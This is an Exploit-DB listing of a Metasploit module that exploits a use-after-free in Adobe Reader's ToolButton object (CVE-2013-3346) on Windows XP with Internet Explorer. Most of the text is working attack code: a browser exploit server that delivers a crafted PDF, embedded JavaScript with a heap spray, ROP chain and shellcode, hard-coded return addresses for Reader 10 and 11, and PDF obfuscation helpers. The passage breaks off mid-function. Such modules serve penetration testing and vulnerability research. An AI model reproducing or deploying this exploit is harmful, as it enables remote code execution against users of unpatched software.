Exploit-DB #30394
Description: Adobe Reader ToolButton - Use-After-Free (Metasploit)
Type: remote
Platform: windows
Date: 2013-12-17
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "Adobe Reader ToolButton Use After Free",
      'Description'    => %q{
        This module exploits an use after free condition on Adobe Reader versions 11.0.2, 10.1.6
        and 9.5.4 and prior. The vulnerability exists while handling the ToolButton object, where
        the cEnable callback can be used to early free the object memory. Later use of the object
        allows triggering the use after free condition. This module has been tested successfully
        on Adobe Reader 11.0.2 and 10.0.4, with IE and Windows XP SP3, as exploited in the wild in
        November, 2013. At the moment, this module doesn't support Adobe Reader 9 targets; in order
        to exploit Adobe Reader 9 the fileformat version of the exploit can be used.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Soroush Dalili', # Vulnerability discovery
          'Unknown', # Exploit in the wild
          'sinn3r', # Metasploit module
          'juan vazquez' # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2013-3346' ],
          [ 'OSVDB', '96745' ],
          [ 'ZDI', '13-212' ],
          [ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb13-15.html' ],
          [ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/11/ms-windows-local-privilege-escalation-zero-day-in-the-wild.html' ]
        ],
      'Platform'       => 'win',
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => "\x00",
          'DisableNops' => true
        },
      'BrowserRequirements' =>
        {
          :source      => /script|headers/i,
          :os_name     => Msf::OperatingSystems::WINDOWS,
          :os_flavor   => Msf::OperatingSystems::WindowsVersions::XP,
          :ua_name     => Msf::HttpClients::IE
        },
      'Targets'        =>
        [
          [ 'Windows XP / IE / Adobe Reader 10/11', { } ],
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Aug 08 2013",
      'DefaultTarget'  => 0))

  end

  def on_request_exploit(cli, request, target_info)
    print_status("request: #{request.uri}")
    js_data = make_js(cli, target_info)
    # Create the pdf
    pdf = make_pdf(js_data)
    print_status("Sending PDF...")
    send_response(cli, pdf, { 'Content-Type' => 'application/pdf', 'Pragma' => 'no-cache' })
  end

  def make_js(cli, target_info)
    # CreateFileMappingA + MapViewOfFile + memcpy rop chain
    rop_10 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '10' }))
    rop_11 = Rex::Text.to_unescape(generate_rop_payload('reader', '', { 'target' => '11' }))
    escaped_payload = Rex::Text.to_unescape(get_payload(cli, target_info))

    js = %Q|
function heapSpray(str, str_addr, r_addr) {
  var aaa = unescape("%u0c0c");
  aaa += aaa;
  while ((aaa.length + 24 + 4) < (0x8000 + 0x8000)) aaa += aaa;
  var i1 = r_addr - 0x24;
  var bbb = aaa.substring(0, i1 / 2);
  var sa = str_addr;
  while (sa.length < (0x0c0c - r_addr)) sa += sa;
  bbb += sa;
  bbb += aaa;
  var i11 = 0x0c0c - 0x24;
  bbb = bbb.substring(0, i11 / 2);
  bbb += str;
  bbb += aaa;
  var i2 = 0x4000 + 0xc000;
  var ccc = bbb.substring(0, i2 / 2);
  while (ccc.length < (0x40000 + 0x40000)) ccc += ccc;
  var i3 = (0x1020 - 0x08) / 2;
  var ddd = ccc.substring(0, 0x80000 - i3);
  var eee = new Array();
  for (i = 0; i < 0x1e0 + 0x10; i++) eee[i] = ddd + "s";
  return;
}
var shellcode = unescape("#{escaped_payload}");
var executable = "";
var rop10 = unescape("#{rop_10}");
var rop11 = unescape("#{rop_11}");
var r11 = false;
var vulnerable = true;

var obj_size;
var rop;
var ret_addr;
var rop_addr;
var r_addr;

if (app.viewerVersion >= 10 && app.viewerVersion < 11 && app.viewerVersion <= 10.106) {
  obj_size = 0x360 + 0x1c;
  rop = rop10;
  rop_addr = unescape("%u08e4%u0c0c");
  r_addr = 0x08e4;
  ret_addr = unescape("%ua8df%u4a82");
} else if (app.viewerVersion >= 11 && app.viewerVersion <= 11.002) {
  r11 = true;
  obj_size = 0x370;
  rop = rop11;
  rop_addr = unescape("%u08a8%u0c0c");
  r_addr = 0x08a8;
  ret_addr = unescape("%u8003%u4a84");
} else {
  vulnerable = false;
}

if (vulnerable) {
  var payload = rop + shellcode;
  heapSpray(payload, ret_addr, r_addr);

  var part1 = "";
  if (!r11) {
    for (i = 0; i < 0x1c / 2; i++) part1 += unescape("%u4141");
  }
  part1 += rop_addr;
  var part2 = "";
  var part2_len = obj_size - part1.length * 2;
  for (i = 0; i < part2_len / 2 - 1; i++) part2 += unescape("%u4141");
  var arr = new Array();

  removeButtonFunc = function () {
    app.removeToolButton({
        cName: "evil"
    });

    for (i = 0; i < 10; i++) arr[i] = part1.concat(part2);
  }

  addButtonFunc = function () {
    app.addToolButton({
      cName: "xxx",
      cExec: "1",
      cEnable: "removeButtonFunc();"
    });
  }

  app.addToolButton({
    cName: "evil",
    cExec: "1",
    cEnable: "addButtonFunc();"
  });
}
|

    js
  end

  def RandomNonASCIIString(count)
    result = ""
    count.times do
      result << (rand(128) + 128).chr
    end
    result
  end

  def ioDef(id)
    "%d 0 obj \n" % id
  end

  def ioRef(id)
    "%d 0 R" % id
  end


  #http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
  def nObfu(str)
    #return str
    result = ""
    str.scan(/./u) do |c|
      if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'
        result << "#%